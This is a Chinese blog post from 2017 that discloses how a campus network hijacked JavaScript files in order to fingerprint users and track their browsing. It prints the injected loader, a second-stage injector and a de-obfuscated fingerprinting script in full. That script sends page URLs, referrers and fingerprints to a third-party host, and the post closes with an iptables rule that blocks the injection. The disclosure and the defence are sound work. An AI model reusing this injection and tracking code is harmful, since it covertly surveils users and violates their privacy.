MENU

校园网劫持 JS 追踪用户的技术分享

2017 年 11 月 30 日 • 技术流

本校校园网之前会通过注入 jQuery 一类的 JavaScript 文件,采集用户指纹,并分享网页访问行为数据到某第三方网站(即便它与学校有关联),这个行为是在前端公开可查的。本问题于2017年11月12日反馈给校园网官方,于更早之前发现并开始研究。在临近发文之时,没有观察到这个问题重现。后来又观察到问题重现,只是频率显著减少。

本文从技术角度作一些分享和分析。

问题简述

当校园网用户访问一些网站时,可能会被加载出非预期的脚本文件,导致用户指纹和网页访问行为分享给第三方。这时用户从表明上感受几乎感受不到异常。

如果用户开启了一些广告/隐私过滤器,则可能拦截注入脚本,使得原本该加载的 jQuery 等脚本不能加载,导致网页效果不正常。

技术说明

如访问网站 http://it360.org.cn/,其会加载一些 .js 文件,比如 j-1.10.2.min.jsjquery-2.1.4.min.jsjquery.cookie.js。在校园网环境下,会有一个 JS 被劫持(在此例中被劫持的文件不固定,并且可能不止一个),而返回被篡改的内容,如下图:

图1

被篡改的内容如果正常执行,会去请求含正常内容的 JS 文件,地址为 http://ssp.coostack.com/common/api/v1.0/src_script/?path=***,其中星号代表原 JS 文件网址。

图2

因而如果这些被顺利加载,网站的效果并不会有所改变。但是被篡改的内容执行后在页面执行了另一个 JS 脚本,后者继续向页面注入 JS,最终会将用户的用户访问行为连带指纹一同发送给域名为 qpmz.kumihua.com 的服务器。部分恶意代码如下:

图3

其他观察到劫持现象的部分网站有:

其中有像腾讯网这样的大站,也有小站,甚至学校官网本身也受到“礼遇”。

部分被劫持的文件有:(劫持前地址)

发现是访问带有 jQuery(或相关)脚本的网页时会这样,暂不清楚明确的规则。其中有些不是 jQuery 文件,有些是。有些不好复现,有些复现率几乎是百分之百。有意思的是,直接访问 JS 文件,并不能观察到劫持现象,必须是在网页中加载的才会。

鉴于 jQuery 是一个使用相当广泛的框架,不少网页都用到它,这个问题也比较严重。

根据域名涉及到的网站的 UI 来看,个人认为这个 JS 劫持问题与学校的缓存服务器供应商有着密切的联系。www.coostack.com 的页面署名为北京艾迪云思技术有限责任公司

资料共享

被劫持后脚本内容的实例

这个例子展现的是原来地址为 http://think.lenovo.com.cn/v/js/jquery-1.7.2.min.js 的脚本在加载时被劫持,返回了如下内容:

var sourceScriptURI = 'http://think.lenovo.com.cn/v/js/jquery-1.7.2.min.js';
(function() {
    var evalGloble = eval;
    var _loader = function(uri) {
        if (!top || !this) {
            return setTimeout(arguments.callee, 50);
        }
        if (top != this) {
            return;
        }

        var s = window.top.document.createElement('script');
        s.src = uri;
        s.type = 'text/javascript';
        s.charset = 'utf-8';
        s.async = 'true';
        window.top.document.body.appendChild(s);
    };

    var evalSrcScript = function(uri) {
        var url = "http://ssp.coostack.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri);
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, false);
        xhr.setRequestHeader("X-Page-Charset", document.charset);
        xhr.send();
        try {
            evalGloble(xhr.responseText);
        } catch(error) {}
    };

    var getCurrentScript = function(sourceScriptURI) {
        var scripts = document.getElementsByTagName('script');
        for (var i = 0; i < scripts.length; ++i) {
            if (scripts[i].src == sourceScriptURI) return scripts[i];
        }
    };

    var _looper, injection;
    var _loop = function() {
        switch (document.readyState) {
            case 'loading':
                break;
            case 'interactive':
            case 'complete':
                clearInterval(_looper);
                if (window.__COODAGLIFE__ === undefined) {
                    _loader(injectionScriptURI + trim(publisherID) + "/");
                    localStorage.COODAG_SERUM_IC = injectionScriptURI;
                    window.__COODAGLIFE__ = true;
                }
                break;
            default:
                clearInterval(_looper);
                break;
        }
    };

    var inject = function() {
        _looper = setInterval(_loop, 50);
    };

    function trim(s){
        return s.replace(/(^\s*)|(\s*$)/g, "");
    }

    var publisherID = 'cadb0cc5-97ce-41db-9550-639d703b050c';
    var injectionScriptURI = "http://ssp.coostack.com/common/api/v1.0/slot-code/publisher/";
    //var currentScript = getCurrentScript(sourceScriptURI);
    if (true) {
        evalSrcScript(sourceScriptURI);
    }

    inject();
})();

进一步加载的脚本之内容

上述例子会再度执行一个脚本,网址为 http://ssp.coostack.com/common/api/v1.0/slot-code/publisher/cadb0cc5-97ce-41db-9550-639d703b050c/,内容如下:

(function () {
    if (!document.body) return setTimeout(arguments.callee, 50);
    
        var e = document.createElement("script");
        e.type = "text/javascript";
        e.text += '_slot_id = "6db1f967-5bb9-4253-ad45-338102be990e";';
        document.body.insertBefore(e, document.body.children.item(0));
    
    var e = document.createElement("script");
    e.src = "http://qpmz.kumihua.com/static/sl/sl.js?v=94b962cc8e7d388a1a99cc249517bd8d";
    e.type = "text/javascript";
    e.async = true;
    document.body.insertBefore(e, document.body.children.item(0));
})();

再度注入之脚本

这里是关键部分。从上面看,脚本的网址显然是 http://qpmz.kumihua.com/static/sl/sl.js?v=94b962cc8e7d388a1a99cc249517bd8d。源代码经过了混淆压缩,这里进行了代码美化整理:

(function(b, c, a) {
    c[b] = a()
})("Fingerprint", this, function() {
    var a = function(d) {
            var c, b;
            c = Array.prototype.forEach;
            b = Array.prototype.map;
            this.each = function(k, j, h) {
                if (k === null) {
                    return
                }
                if (c && k.forEach === c) {
                    k.forEach(j, h)
                } else {
                    if (k.length === +k.length) {
                        for (var g = 0, e = k.length; g < e; g++) {
                            if (j.call(h, k[g], g, k) === {}) {
                                return
                            }
                        }
                    } else {
                        for (var f in k) {
                            if (k.hasOwnProperty(f)) {
                                if (j.call(h, k[f], f, k) === {}) {
                                    return
                                }
                            }
                        }
                    }
                }
            };
            this.map = function(h, g, f) {
                var e = [];
                if (h == null) {
                    return e
                }
                if (b && h.map === b) {
                    return h.map(g, f)
                }
                this.each(h, function(k, i, j) {
                    e[e.length] = g.call(f, k, i, j)
                });
                return e
            };
            if (typeof d == "object") {
                this.hasher = d.hasher;
                this.screen_resolution = d.screen_resolution;
                this.screen_orientation = d.screen_orientation;
                this.canvas = d.canvas;
                this.ie_activex = d.ie_activex
            } else {
                if (typeof d == "function") {
                    this.hasher = d
                }
            }
        };
    a.prototype = {
        get: function() {
            var c = [];
            c.push(navigator.userAgent);
            c.push(navigator.language);
            c.push(screen.colorDepth);
            if (this.screen_resolution) {
                var b = this.getScreenResolution();
                if (typeof b !== "undefined") {
                    c.push(b.join("x"))
                }
            }
            c.push(new Date().getTimezoneOffset());
            c.push(this.hasSessionStorage());
            c.push(this.hasLocalStorage());
            c.push(this.hasIndexDb());
            if (document.body) {
                c.push(typeof(document.body.addBehavior))
            } else {
                c.push(typeof undefined)
            }
            c.push(typeof(window.openDatabase));
            c.push(navigator.cpuClass);
            c.push(navigator.platform);
            c.push(navigator.doNotTrack);
            c.push(this.getPluginsString());
            if (this.canvas && this.isCanvasSupported()) {
                c.push(this.getCanvasFingerprint())
            }
            if (this.hasher) {
                return this.hasher(c.join("###"), 31)
            } else {
                return this.murmurhash3_32_gc(c.join("###"), 31)
            }
        },
        murmurhash3_32_gc: function(j, f) {
            var k, l, h, b, e, c, g, d;
            k = j.length & 3;
            l = j.length - k;
            h = f;
            e = 3432918353;
            c = 461845907;
            d = 0;
            while (d < l) {
                g = ((j.charCodeAt(d) & 255)) | ((j.charCodeAt(++d) & 255) << 8) | ((j.charCodeAt(++d) & 255) << 16) | ((j.charCodeAt(++d) & 255) << 24);
                ++d;
                g = ((((g & 65535) * e) + ((((g >>> 16) * e) & 65535) << 16))) & 4294967295;
                g = (g << 15) | (g >>> 17);
                g = ((((g & 65535) * c) + ((((g >>> 16) * c) & 65535) << 16))) & 4294967295;
                h ^= g;
                h = (h << 13) | (h >>> 19);
                b = ((((h & 65535) * 5) + ((((h >>> 16) * 5) & 65535) << 16))) & 4294967295;
                h = (((b & 65535) + 27492) + ((((b >>> 16) + 58964) & 65535) << 16))
            }
            g = 0;
            switch (k) {
            case 3:
                g ^= (j.charCodeAt(d + 2) & 255) << 16;
            case 2:
                g ^= (j.charCodeAt(d + 1) & 255) << 8;
            case 1:
                g ^= (j.charCodeAt(d) & 255);
                g = (((g & 65535) * e) + ((((g >>> 16) * e) & 65535) << 16)) & 4294967295;
                g = (g << 15) | (g >>> 17);
                g = (((g & 65535) * c) + ((((g >>> 16) * c) & 65535) << 16)) & 4294967295;
                h ^= g
            }
            h ^= j.length;
            h ^= h >>> 16;
            h = (((h & 65535) * 2246822507) + ((((h >>> 16) * 2246822507) & 65535) << 16)) & 4294967295;
            h ^= h >>> 13;
            h = ((((h & 65535) * 3266489909) + ((((h >>> 16) * 3266489909) & 65535) << 16))) & 4294967295;
            h ^= h >>> 16;
            return h >>> 0
        },
        hasLocalStorage: function() {
            try {
                return !!window.localStorage
            } catch (b) {
                return true
            }
        },
        hasSessionStorage: function() {
            try {
                return !!window.sessionStorage
            } catch (b) {
                return true
            }
        },
        hasIndexDb: function() {
            try {
                return !!window.indexedDB
            } catch (b) {
                return true
            }
        },
        isCanvasSupported: function() {
            var b = document.createElement("canvas");
            return !!(b.getContext && b.getContext("2d"))
        },
        isIE: function() {
            if (navigator.appName === "Microsoft Internet Explorer") {
                return true
            } else {
                if (navigator.appName === "Netscape" && /Trident/.test(navigator.userAgent)) {
                    return true
                }
            }
            return false
        },
        getPluginsString: function() {
            if (this.isIE() && this.ie_activex) {
                return this.getIEPluginsString()
            } else {
                return this.getRegularPluginsString()
            }
        },
        getRegularPluginsString: function() {
            return this.map(navigator.plugins, function(c) {
                var b = this.map(c, function(d) {
                    return [d.type, d.suffixes].join("~")
                }).join(",");
                return [c.name, c.description, b].join("::")
            }, this).join(";")
        },
        getIEPluginsString: function() {
            if (window.ActiveXObject) {
                var b = ["ShockwaveFlash.ShockwaveFlash", "AcroPDF.PDF", "PDF.PdfCtrl", "QuickTime.QuickTime", "rmocx.RealPlayer G2 Control", "rmocx.RealPlayer G2 Control.1", "RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)", "RealVideo.RealVideo(tm) ActiveX Control (32-bit)", "RealPlayer", "SWCtl.SWCtl", "WMPlayer.OCX", "AgControl.AgControl", "Skype.Detection"];
                return this.map(b, function(c) {
                    try {
                        new ActiveXObject(c);
                        return c
                    } catch (d) {
                        return null
                    }
                }).join(";")
            } else {
                return ""
            }
        },
        getScreenResolution: function() {
            var b;
            if (this.screen_orientation) {
                b = (screen.height > screen.width) ? [screen.height, screen.width] : [screen.width, screen.height]
            } else {
                b = [screen.height, screen.width]
            }
            return b
        },
        getCanvasFingerprint: function() {
            var d = document.createElement("canvas");
            var c = d.getContext("2d");
            var b = "http://valve.github.io";
            c.textBaseline = "top";
            c.font = "14px 'Arial'";
            c.textBaseline = "alphabetic";
            c.fillStyle = "#f60";
            c.fillRect(125, 1, 62, 20);
            c.fillStyle = "#069";
            c.fillText(b, 2, 15);
            c.fillStyle = "rgba(102, 204, 0, 0.7)";
            c.fillText(b, 4, 17);
            return d.toDataURL()
        }
    };
    return a
});
(function() {
    function o(q) {
        try {
            document.body.insertBefore(b(q), document.body.children.item(0))
        } catch (i) {}
    }
    function b(q) {
        var i = document.createElement("script");
        i.src = q;
        i.async = true;
        i.type = "text/javascript";
        return i
    }
    function h(t, s) {
        var u = document.documentElement.clientWidth;
        var r = document.documentElement.clientHeight;
        var p = "u=" + encodeURIComponent(window.location.href);
        p += "&a=" + Math.random();
        p += "&w=" + u;
        p += "&h=" + r;
        p += "&r=" + encodeURIComponent(document.referrer);
        p += "&uid=" + s;
        for (var q = 0; q < t.length; q++) {
            p += "&d=" + t[q]
        }
        if (true) {
            o("http://qpmz.kumihua.com/common/api/v1.0/al?" + p)
        }
    }
    function n(s) {
        var i = s.innerHTML;
        if (!document.all) {
            return i
        }
        var q = /(\s+\w+)\s*=\s*([^<>"\s]+)(?=[^<>]*\/>)/ig;
        var r = /"'([^'"]*)'"/ig;
        i = i.replace(q, '$1="$2"').replace(r, '"$1"');
        var p = i.replace(/<(\/?)(\w+)([^>]*)>/g, function(u, t, w, v) {
            if (t) {
                return "</" + w.toLowerCase() + ">"
            }
            return ("<" + w.toLowerCase() + v + ">").replace(/=(("[^"]*?")|('[^']*?')|([\w\-\.]+))([\s>])/g, function(D, y, E, C, B, A, x, z) {
                if (B) {
                    return '="' + B + '"' + A
                }
                return D
            })
        });
        return p.replace(/<\/?([^>]+)>/g, function(t) {
            return t
        })
    }
    var k = new Fingerprint({
        ie_activex: true
    }).get();
    var m = /^_slot_id\s*=\s*"[\w-]+"/;
    var l = new Array();
    if (!-[1, ]) {
        var a = new RegExp("<script[^>]*>(.*?)<\/script>", "g");
        var j = n(document.body).match(a);
        for (var g = 0; g < j.length; g++) {
            var f = j[g].indexOf(">");
            var e = j[g].lastIndexOf("<");
            var d = j[g].substring(f + 1, e);
            if (d.match(m)) {
                l.push(d.split('"')[1])
            }
        }
    } else {
        var c = document.getElementsByTagName("script");
        for (var g = 0; g < c.length; g++) {
            if (c[g].innerHTML.match(m)) {
                l.push(c[g].innerHTML.split('"')[1])
            }
        }
    }
    h(l, k)
})();

脚本收集了用户正在浏览的网页地址,和来源网址(Referrer),并采集指纹。在采集指纹时,可以看出考虑了客户端屏幕尺寸、浏览器插件,用上了 LocalStorage、Canvas Fingerprint 等前沿的追踪技术。最后将用户指纹、屏幕尺寸、访问网页和来源页等参数汇集,以 GET 请求发送给 http://qpmz.kumihua.com/common/api/v1.0/al

解决方案

用户可以在使用校园网浏览网页时,使用私密隧道保证安全性。也可尽量访问 HTTPS 的网站。使用如隐私獾(Privacy Badger)之类的智能隐私过滤器也是极好的。除了这些通用的方案,实测以下防火墙规则是有效的:

iptables -I FORWARD -p tcp --sport 80 --tcp-flags ACK ACK -m string --algo bm --string "var url = \" http://ssp.coostack.com/common/ " -j DROP

临近发文之时,已未观察到问题重现,应该是学校解决好了,大家不用担心了。12月3日补充:又观察到问题重现,看起来并没有妥善解决,留给各位判断。

最后编辑于: 2017 年 12 月 03 日
添加新评论

已有 2 条评论
  1. sakura_lzq sakura_lzq

    @(滑稽)板凳板凳

    1. @sakura_lzq是沙发@(呵呵)